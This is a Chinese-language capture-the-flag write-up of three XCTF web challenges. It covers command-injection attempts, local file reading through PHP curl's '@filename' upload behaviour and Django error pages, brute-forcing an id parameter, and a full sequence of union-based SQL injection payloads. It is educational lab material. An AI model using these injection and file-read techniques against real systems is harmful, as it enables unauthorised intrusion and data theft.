XCTF(攻防世界)—进阶web题Write Up(一)
前言:這段時(shí)間做了一些XCTF的web進(jìn)階題,真的是學(xué)習(xí)到了很多知識(shí),就來(lái)總結(jié)一下。
Cat
一開(kāi)始以為是命令注入,恰好最近學(xué)習(xí)了命令注入,就先來(lái)測(cè)試一下:
輸入127.0.0.1,發(fā)現(xiàn)是可以ping通的
輸入127.0.0.1 | phpinfo() 或127.0.0.1 & net user就會(huì)顯示:
看來(lái)命令注入的方法是行不通的(其他連接符也被過(guò)濾了,如&&、||等)
沒(méi)有思路了,就看了大師傅們的Write Up,大意就是在URL那里構(gòu)造錯(cuò)誤的參數(shù),使頁(yè)面進(jìn)行報(bào)錯(cuò),通過(guò)頁(yè)面報(bào)錯(cuò)從中找出需要的信息。
當(dāng)輸入?url=%79執(zhí)行完時(shí)變成了url=y
看來(lái)可以傳遞url編碼,服務(wù)器會(huì)接受并進(jìn)行解析,所以這里就構(gòu)造最大的參數(shù)看是否會(huì)報(bào)錯(cuò)。
HTML URL 編碼
輸入:
發(fā)現(xiàn)確實(shí)報(bào)錯(cuò)
其實(shí)在字符編碼方面,ASCII碼在標(biāo)準(zhǔn)符號(hào)、數(shù)字、英文等取值范圍是0~127,擴(kuò)展ASCII碼為128~255,url編碼使用的是16進(jìn)制,一般后臺(tái)允許輸入也是標(biāo)準(zhǔn)的ASCII碼而不是擴(kuò)展ASCII碼,所以當(dāng)輸入的參數(shù)ASCII碼大于127時(shí)便會(huì)報(bào)錯(cuò)。
報(bào)錯(cuò)出來(lái)了就從中找有用的信息,發(fā)現(xiàn):
使用的是python站點(diǎn),Django框架.百度先大致了解一下Django框架和Django框架目錄,flag一定就在某目錄中放著。
查到關(guān)于數(shù)據(jù)庫(kù)的配置文件,可以嘗試一下,看了師傅們的博客說(shuō)有比賽時(shí)這個(gè)提示:
RTFM of PHP CURL===>>read the fuck manul of PHP CURL???
那就百度來(lái)查PHP CURL,查完還是一頭霧水,看了師傅們的博客說(shuō)是要找到PHP中curl的CURLOPT_POSTFIELDS。
查到手冊(cè)
The full data to post in a HTTP “POST” operation. To post a file, prepend a filename with @ and use the full path. This can either be passed as a urlencoded string like ‘para1=val1?2=val2&…’ or as an array with the field name as key and field data as value. If value is an array, the Content-Type header will be set to multipart/form-data.
使用數(shù)組提供 post 數(shù)據(jù)時(shí),CURL 組件大概是為了兼容 @filename 這種上傳文件的寫法,默認(rèn)把 content_type 設(shè)為了 multipart/form-data。雖然對(duì)于大多數(shù)服務(wù)器并沒(méi)有影響,但是還是有少部分服務(wù)器不兼容。
發(fā)現(xiàn)這一段話
提供 post 數(shù)據(jù)時(shí),CURL 組件大概是為了兼容 @filename 這種上傳文件的寫法所以根據(jù)Django的目錄,使用@進(jìn)行文件傳遞,對(duì)文件進(jìn)行讀取之后還會(huì)把內(nèi)容傳給url參數(shù),超出解析范圍的編碼的時(shí)候就會(huì)得到錯(cuò)誤信息。
那就來(lái)嘗試從配置文件settings.py的報(bào)錯(cuò)中看看有沒(méi)有database的相關(guān)信息
輸入:
查到
并且查出了所在路徑
那就按照這個(gè)目錄繼續(xù)查詢,看看是否出flag
輸入:
ctrl+f查找ctf得出flag
總結(jié):
這次做題感覺(jué)收獲很大,首先是對(duì)這種沒(méi)有思路時(shí)可以去構(gòu)造語(yǔ)句來(lái)得出報(bào)錯(cuò)信息,通過(guò)錯(cuò)誤信息來(lái)獲得有用的信息。其次就是curl的@+文件名做本地文件讀取,感覺(jué)自己還是懂的太少了,寫的write up也有漏洞和問(wèn)題,不過(guò)繼續(xù)努力,附上大師傅博客。
Wupco’s Blog
ics-06
只有報(bào)表中心可以點(diǎn)擊進(jìn)去,查看源碼沒(méi)有發(fā)現(xiàn)線索,只發(fā)現(xiàn)下面提示是一道送分題,觀察URL發(fā)現(xiàn)無(wú)論傳入id的值為多少,頁(yè)面都沒(méi)有變化,猜測(cè)這道題突破口可能就在id傳參上面,那就用burp來(lái)爆破。
先用簡(jiǎn)單的py腳本生成字典
for a in range (3000):print(a)發(fā)現(xiàn)到了2223時(shí)長(zhǎng)度不同,打開(kāi)即可得出flag
總結(jié):
id能夠傳任意參數(shù)是突破口,主要練習(xí)一下burp爆破
NewsCenter
隨便查一下,發(fā)現(xiàn)有回顯
那這道題考的是SQL注入了,并且是最簡(jiǎn)單的回顯注入。
判斷出'為閉合符號(hào),當(dāng)輸入'時(shí)頁(yè)面報(bào)錯(cuò),輸入'#頁(yè)面回顯正常
判斷列數(shù)
payload:
' order by 1#判斷出一共有三列
爆數(shù)據(jù)庫(kù)
payload:
' and 0 union select 1,database(),user()#
爆數(shù)據(jù)表
payload:
0' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='news'#
爆字段
payload:
0' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='secret_table' #
爆值
payload:
0' union select 1,group_concat(id,0x3a,fl4g),3 from secret_table#總結(jié)
以上是生活随笔為你收集整理的XCTF(攻防世界)—进阶web题Write Up(一)的全部?jī)?nèi)容,希望文章能夠幫你解決所遇到的問(wèn)題。
- 上一篇: PHP危险函数总结
- 下一篇: Bugku—web题解